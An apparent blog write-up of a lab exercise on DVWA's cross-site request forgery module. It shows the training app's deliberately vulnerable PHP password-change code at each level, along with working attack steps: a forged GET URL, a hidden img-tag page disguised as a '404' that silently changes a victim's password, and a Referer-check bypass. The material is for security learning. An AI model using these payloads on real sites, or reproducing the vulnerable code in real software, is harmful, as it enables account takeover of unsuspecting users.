DVWA-CSRF (Cross-Station Request Forgery)

Keywords: PHP Database PDO SQL

CSRF: (Cross Site Request Forgery), an attacker constructs a request address of a functional interface in the background of a website, induces users to click on it or uses special methods to load the request address automatically. When the user is logged in, the request is received by the server and is mistaken for the user's legitimate operation. Simply put, it means killing people with a knife, using the identity of the attacked person to complete the attacker's own ideas.

Environmental Science:
A DVWA virtual machine (win7 x86) with IP 192.168.157.137 was built.
admin account login on physical win10 x64
gordonb account login in virtual machine win7 x64

DVWA default account password:

Operating interface:

Enter two modified passwords to modify admin's password.

Low

Low level source code

<?php 

if( isset( $_GET[ 'Change' ] ) ) { 
    // Get input 
    $pass_new  = $_GET[ 'password_new' ]; 
    $pass_conf = $_GET[ 'password_conf' ]; 

    // Do the passwords match? 
    if( $pass_new == $pass_conf ) { 
        // They do! 
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 
        $pass_new = md5( $pass_new ); 

        // Update the database 
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; 
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user 
        echo "<pre>Password Changed.</pre>"; 
    } 
    else { 
        // Issue with passwords matching 
        echo "<pre>Passwords did not match.</pre>"; 
    } 

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); 
} 

?> 

Analysis: Compare the old and new passwords entered by users. If they are the same, the password MD5 will be encrypted. The old passwords in the database will be updated with update statements without any authentication process.

Attack process

When admin modifies the password, it finds that it uses GET to send data packets. For example, when the password is changed to 123456, the URL is:

http://192.168.157.137/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#

In the case that gordonb has logged in, induce him to click on the link and change the password of gordonb account without his knowledge.


Now gordonb's password will be changed, but such URLs are easy to see through, so you can use tools to convert long regular URLs to short irregular URLs.

However, this will open a new web page, and prompt that the password has changed, it is easy to expose. So we create an attack page to induce the target person to load the page and change the password without knowing the target.

Web source code:

<img src="http://192.168.157.137/DVWA-master/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change#" border="0" style="display:none;"/>

<h1>404<h1>
 
<h2>file not found.<h2>

Everyone's path is different, pay attention to the revision.

After the target task is loaded, the page is 404 Not Found

But the password has actually been changed.

Medium

Medium source code

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );

            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

Analysis: Compared with the Low level, there is one more step to determine where the final requested page comes from.

// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )

Function of stripos function: stripos(a,b), find the location where B first appears in a, here is to determine whether SERVER_NAMES appears in HTTP_REFERER.

HTTP_HOST is variable, while SERVER_NAME has only one.
For example, a website on your current machine, http://www.a.com, can also be accessed through http://localhost, pointing to the same directory.
If you access the browser with http://localhost, the value of HTTP_HOST is localhost, while you access it with www.a.com, and the value of HTTP_HOST is www.a.com. When you access it with an IP address, the value of HTTP_HOST is IP, SERVER_NAME will not change. Why is it set in httpd.conf and what is displayed?

The function of this if statement is:

Does HTTP_REFERER contain SERVER_NAME (the Host parameter of http header, and the host name to be accessed)


Hope to prevent CSRF attacks
Solutions:
According to the first idea at the Low level, it is unaffected because the attacker clicks on the link.

http://192.168.157.137/DVWA-master/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change#

It contains the target IP.

However, this method will not be used in actual combat, which is too easy to expose, so the main idea is to use the second one.

Since the request contains server ip, you can directly change the file name of the attack page to the IP address of the server.


Successful revision!

High

High source code

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

Analysis: The media level verification method was removed and token verification was added.

** Solution: ** The key is to get token value, so in the attack page we construct, we first visit the page that modifies the password to get the current token value, and then send the value and other parameters to the server to modify the password. But cross-domain is not achievable. It needs to be combined with xss. At present, the level is not enough. It should be solved after digging a pit. (

Impossible

Impossible source code

<?php 

if( isset( $_GET[ 'Change' ] ) ) { 
    // Check Anti-CSRF token 
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 

    // Get input 
    $pass_curr = $_GET[ 'password_current' ]; 
    $pass_new  = $_GET[ 'password_new' ]; 
    $pass_conf = $_GET[ 'password_conf' ]; 

    // Sanitise current password input 
    $pass_curr = stripslashes( $pass_curr ); 
    $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 
    $pass_curr = md5( $pass_curr ); 

    // Check that the current password is correct 
    $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); 
    $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); 
    $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR ); 
    $data->execute(); 

    // Do both new passwords match and does the current password match the user? 
    if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) { 
        // It does! 
        $pass_new = stripslashes( $pass_new ); 
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 
        $pass_new = md5( $pass_new ); 

        // Update database with new password 
        $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' ); 
        $data->bindParam( ':password', $pass_new, PDO::PARAM_STR ); 
        $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); 
        $data->execute(); 

        // Feedback for the user 
        echo "<pre>Password Changed.</pre>"; 
    } 
    else { 
        // Issue with passwords matching 
        echo "<pre>Passwords did not match or current password incorrect.</pre>"; 
    } 
} 

// Generate Anti-CSRF token 
generateSessionToken(); 

?> 

Checking token, changing password needs to input previous password, PDO technology to prevent sql injection, no chance at all.
(ÒωÓױ)

Posted by FlyingIsFun1217 on Tue, 20 Aug 2019 00:30:39 -0700